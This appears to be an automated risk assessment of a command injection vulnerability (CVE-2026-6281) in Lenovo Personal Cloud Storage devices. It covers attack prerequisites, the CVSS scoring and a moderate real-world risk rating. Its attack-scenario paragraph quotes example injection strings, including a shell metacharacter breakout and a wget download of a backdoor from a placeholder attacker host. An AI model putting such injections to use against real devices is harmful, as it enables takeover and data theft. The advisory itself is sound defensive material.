Lenovo Personal Cloud Storage CVE-2026-6281

Requires low-privilege authenticated user credentials to the Lenovo Personal Cloud Storage device AND network connectivity to the device (local network access). The CVSS vector confirms PR:L (low-privilege authentication required, not admin-level) and AV:N (network attack vector), while the description explicitly states 'remote authenticated user on the local network', limiting exposure to LAN-connected attackers. Devices must be reachable on the network where the attacker is present - internet-exposed devices with weak authentication face highest risk, while devices on isolated network segments accessible only to trusted users face lower risk. No special feature enablement or non-default configuration indicated; the vulnerability appears to affect standard device operation. Exploitation is limited by: (1) requirement for valid credentials (though low-privilege), (2) network positioning (local network access, not exploitable from internet unless device is exposed), (3) user interaction not required (UI:N), making automated exploitation possible once credentials are obtained.

Real-world risk is MODERATE despite the high CVSS 8.7 score, due to significant limiting factors. Attack vector is network-based (AV:N) with low complexity (AC:L), but requires low-privilege authentication (PR:L) and local network access (implicit in 'remote authenticated user on the local network'). The CVSS v4.0 vector shows high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H) with no subsequent system impact (SC:N/SI:N/SA:N), indicating total compromise of the vulnerable device but not lateral movement. No EPSS score provided, but absence from CISA KEV and no identified public exploit code suggests this is not currently being exploited at scale. However, authentication requirements are relatively weak (PR:L indicates any authenticated user, not just administrators), and NAS devices commonly have default credentials or weak passwords. The reference to end-of-life notices for T1 models is concerning, as some devices may never receive patches. Primary risk scenarios: (1) compromised internal networks where attacker has stolen low-privilege credentials, (2) devices exposed to internet via port forwarding with weak authentication, (3) insider threats with legitimate access. Organizations using these devices in trusted network segments with strong credential management face lower immediate risk than those with internet-exposed or poorly managed deployments.

An attacker on the local network obtains valid low-privilege credentials through phishing, credential stuffing, or exploiting default passwords. They authenticate to the Lenovo Personal Cloud Storage web interface and locate an input field (likely file management, share configuration, or system settings) that accepts user-supplied strings. By injecting shell metacharacters and command sequences (e.g., '; /bin/bash -c "malicious_payload"' or 'wget attacker.com/backdoor'), they break out of the intended command context and execute arbitrary commands with the privileges of the web service. This grants full control of the device, enabling data exfiltration, firmware modification, or using the compromised NAS as a pivot point for lateral movement within the network. No public exploit code confirmed, but command injection vulnerabilities are typically straightforward to exploit once the injection point is identified.